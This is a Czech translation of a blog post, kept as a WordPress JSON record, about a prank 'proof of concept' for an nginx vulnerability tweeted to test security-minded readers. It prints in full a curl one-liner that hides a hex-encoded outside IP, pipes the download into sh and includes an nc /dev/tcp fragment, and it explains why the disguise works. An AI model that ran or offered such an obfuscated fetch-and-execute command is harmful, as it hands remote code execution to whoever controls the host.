{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/cs\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"\u00dasp\u011bch soci\u00e1ln\u00edho experimentu s fale\u0161n\u00fdm exploit pro nginx","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Pozn. p\u0159ek.<\/b>: Autor<\/a><\/noindex> origin\u00e1ln\u00edho p\u0159\u00edsp\u011bvku, publikovan\u00e9ho 1. \u010dervna, jsem se rozhodl prov\u00e9st experiment v prost\u0159ed\u00ed lid\u00ed zaj\u00edmaj\u00edc\u00edch se o informa\u010dn\u00ed bezpe\u010dnost. K tomu jsem p\u0159ipravil fale\u0161n\u00fd exploit k nezve\u0159ejn\u011bn\u00e9 zranitelnosti na webov\u00e9m serveru a um\u00edstil ho na sv\u016fj Twitter. Moje p\u0159edpoklady \u2014 b\u00fdt okam\u017eit\u011b odhalen odborn\u00edky, kte\u0159\u00ed by v k\u00f3du vid\u011bli jasn\u00fd podvod \u2014 se nejen\u017ee nenaplnily\u2026 Ale p\u0159ekonaly v\u0161echna o\u010dek\u00e1v\u00e1n\u00ed, a to v opa\u010dn\u00e9m sm\u011bru: tweet z\u00edskal obrovskou podporu od mnoha lid\u00ed, kte\u0159\u00ed nezkontrolovali jeho obsah.<\/i><\/p>\n

\"\u00dasp\u011bch
\n
\nTL;DR: za \u017e\u00e1dn\u00fdch okolnost\u00ed nepou\u017e\u00edvejte pipeline soubor\u016f v sh nebo bash. To je skv\u011bl\u00fd zp\u016fsob, jak ztratit kontrolu nad po\u010d\u00edta\u010dem.<\/b><\/a><\/noindex><\/p>\n

Chci se s v\u00e1mi pod\u011blit o mal\u00fd p\u0159\u00edb\u011bh o \u017eertovn\u00e9m PoC-exploitu, kter\u00fd byl vytvo\u0159en 31. kv\u011btna. Objevil se rychle v reakci na zpr\u00e1vu od Alisy Esage \u0160ev\u010denko<\/a><\/noindex>, \u010dlena Zero Day Initiative<\/a><\/noindex> (ZDI), o tom, \u017ee brzy budou zve\u0159ejn\u011bny informace o zranitelnosti v NGINX, vedouc\u00ed k RCE (vzd\u00e1len\u00e9mu spu\u0161t\u011bn\u00ed k\u00f3du). Jeliko\u017e NGINX je z\u00e1kladem mnoha webov\u00fdch str\u00e1nek, zpr\u00e1va m\u011bla b\u00fdt jako bomba. Ale kv\u016fli zpo\u017ed\u011bn\u00edm v procesu \u201eodpov\u011bdn\u00e9ho zve\u0159ej\u0148ov\u00e1n\u00ed\u201c informac\u00ed nebyly podrobnosti ud\u00e1losti zn\u00e1m\u00e9 \u2014 to je standardn\u00ed postup ZDI.<\/p>\n

\"\u00dasp\u011bch
\nTweet<\/a><\/noindex> o zve\u0159ejn\u011bn\u00ed zranitelnosti v NGINX<\/i><\/p>\n

Kdy\u017e jsem dokon\u010dil pr\u00e1ci na nov\u00e9 technice obfuskace v curl, citoval jsem origin\u00e1ln\u00ed tweet a \"vypustil pracovn\u00ed PoC\", slo\u017een\u00fd z jedin\u00e9 \u0159\u00e1dky k\u00f3du, kter\u00e1 m\u011bla \u00fadajn\u011b vyu\u017e\u00edvat zji\u0161t\u011bnou zranitelnost. Samoz\u0159ejm\u011b, \u017ee to byla \u00fapln\u00e1 hloupost. Myslel jsem si, \u017ee m\u011b okam\u017eit\u011b odhal\u00ed, a \u017ee v tom lep\u0161\u00edm p\u0159\u00edpad\u011b dostanu p\u00e1r retweet\u016f (a to by byl vlastn\u011b \u00fasp\u011bch).<\/p>\n

\"\u00dasp\u011bch
\nTweet<\/a><\/noindex> s fale\u0161n\u00fdm exploit<\/i><\/p>\n

Ale nedok\u00e1zal jsem si p\u0159edstavit, co se stalo d\u00e1l. Popularita m\u00e9ho tweetu vzrostla do nebes. \u00da\u017easn\u00e9 je, \u017ee v tuto chv\u00edli (15:00 MSK 1. \u010dervna) si st\u00e1le m\u00e1lo kdo uv\u011bdomuje, \u017ee je to podvod. Mnoz\u00ed ho retweetuj\u00ed bez jak\u00e9koli kontroly (nemluv\u011b o tom, aby se pot\u011b\u0161ili kr\u00e1snou ASCII grafikou, kterou zobrazuje).<\/p>\n

\"\u00dasp\u011bch
\nPod\u00edvejte se, jak\u00e1 kr\u00e1sa!<\/i><\/p>\n

I kdy\u017e jsou v\u0161echny tyto cykly a barvy \u00fa\u017easn\u00e9, je jasn\u00e9, \u017ee abychom je vid\u011bli, lid\u00e9 museli spustit k\u00f3d na sv\u00e9m stroji. Na\u0161t\u011bst\u00ed prohl\u00ed\u017ee\u010de funguj\u00ed obdobn\u011b, a s ohledem na to, \u017ee nepot\u0159ebuji \u017e\u00e1dn\u00e9 pr\u00e1vn\u00ed pot\u00ed\u017ee, k\u00f3d, kter\u00fd je ukryt\u00fd na m\u00e9 str\u00e1nce, pouze prov\u00e1d\u011bl vol\u00e1n\u00ed echo, ani\u017e by se pokusil nainstalovat nebo spustit jak\u00fdkoli dal\u0161\u00ed k\u00f3d.<\/p>\n

Mal\u00e9 odbo\u010den\u00ed: netspooky<\/a><\/noindex>, dnz<\/a><\/noindex>, j\u00e1 a dal\u0161\u00ed kluci z t\u00fdmu Thugcrowd<\/a><\/noindex> u\u017e n\u011bjakou dobu zkou\u0161\u00edme r\u016fzn\u00e9 zp\u016fsoby obfuskace curl p\u0159\u00edkaz\u016f, proto\u017ee je to z\u00e1bavn\u00e9... a jsme geekov\u00e9. netspooky a dnz objevili n\u011bkolik nov\u00fdch metod, kter\u00e9 se mi zd\u00e1ly velmi perspektivn\u00ed. P\u0159ipojil jsem se k z\u00e1bav\u011b a pokusil se p\u0159idat p\u0159evody IP do sady trik\u016f. Uk\u00e1zalo se, \u017ee IP lze tak\u00e9 p\u0159ev\u00e9st do hexadecim\u00e1ln\u00edho form\u00e1tu. Nav\u00edc curl a v\u011bt\u0161ina ostatn\u00edch NIX n\u00e1stroj\u016f s radost\u00ed \u201epo\u017e\u00edv\u00e1\u201c hexadecim\u00e1ln\u00ed IP! Tak\u017ee bylo pot\u0159eba pouze vytvo\u0159it p\u0159esv\u011bd\u010div\u00fd a bezpe\u010dn\u011b vypadaj\u00edc\u00ed p\u0159\u00edkazov\u00fd \u0159\u00e1dek. Nakonec jsem se zastavil na tomto:<\/p>\n

curl -gsS https:\/\/127.0.0.1-OR-VICTIM-SERVER:443\/..\/..\/..\/\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n
<\/p>\n
Socioelektronick\u00e9 in\u017een\u00fdrstv\u00ed (S.E.E.) \u2014 v\u00edc ne\u017e jen phishing<\/h2>\n
\nBezpe\u010dnost a pov\u011bdom\u00ed byly kl\u00ed\u010dov\u00fdmi prvky tohoto experimentu. Mysl\u00edm, \u017ee pr\u00e1v\u011b tyto faktory vedly k jeho \u00fasp\u011bchu. P\u0159\u00edkazov\u00fd \u0159\u00e1dek jasn\u011b nazna\u010doval bezpe\u010dnost, odkazuj\u00edc na \u201e127.0.0.1\u201c (v\u0161em zn\u00e1m\u00fd localhost). P\u0159edpokl\u00e1d\u00e1 se, \u017ee localhost je bezpe\u010dn\u00fd a data na n\u011bm nikdy neopou\u0161t\u011bj\u00ed v\u00e1\u0161 po\u010d\u00edta\u010d.<\/p>\n
Pov\u011bdom\u00ed bylo druhou kl\u00ed\u010dovou slo\u017ekou S.E.E. experimentu. Proto\u017ee c\u00edlov\u00e1 skupina se p\u0159ev\u00e1\u017en\u011b skl\u00e1dala z lid\u00ed obezn\u00e1men\u00fdch se z\u00e1klady po\u010d\u00edta\u010dov\u00e9 bezpe\u010dnosti, bylo d\u016fle\u017eit\u00e9 vytvo\u0159it k\u00f3d, jeho\u017e \u010d\u00e1sti by se zd\u00e1ly zn\u00e1m\u00e9 a p\u0159irozen\u00e9 (a tedy bezpe\u010dn\u00e9). P\u0159evzet\u00ed prvk\u016f star\u00fdch explota\u010dn\u00edch koncept\u016f a jejich kombinace neobvykl\u00fdm zp\u016fsobem se uk\u00e1zalo jako velmi \u00fasp\u011b\u0161n\u00e9.<\/p>\n
N\u00ed\u017ee je podrobn\u00e1 anal\u00fdza jednor\u00e1zov\u00e9ho p\u0159\u00edkazu. V\u0161e v tomto seznamu m\u00e1 kosmetickou povahu<\/b>, a pro jeho skute\u010dn\u00e9 fungov\u00e1n\u00ed nen\u00ed prakticky nic pot\u0159eba.<\/i><\/p>\n
Jak\u00e9 komponenty jsou skute\u010dn\u011b nezbytn\u00e9? Jsou to -gsS<\/code>, -O 0x0238f06a<\/code>, |sh<\/code> a samotn\u00fd webov\u00fd server. Webov\u00fd server neobsahoval \u017e\u00e1dn\u00e9 zlomysln\u00e9 instrukce, pouze p\u0159en\u00e1\u0161el ASCII grafiku pomoc\u00ed p\u0159\u00edkaz\u016f echo<\/code> ve skriptu, kter\u00fd se nach\u00e1z\u00ed v index.html<\/code>. Kdy\u017e u\u017eivatel zadal \u0159et\u011bzec s |sh<\/code> uprost\u0159ed, index.html<\/code> nahr\u00e1l se a vykonal. Na\u0161t\u011bst\u00ed spr\u00e1vci webov\u00e9ho serveru nem\u011bli zl\u00e9 \u00famysly.<\/p>\n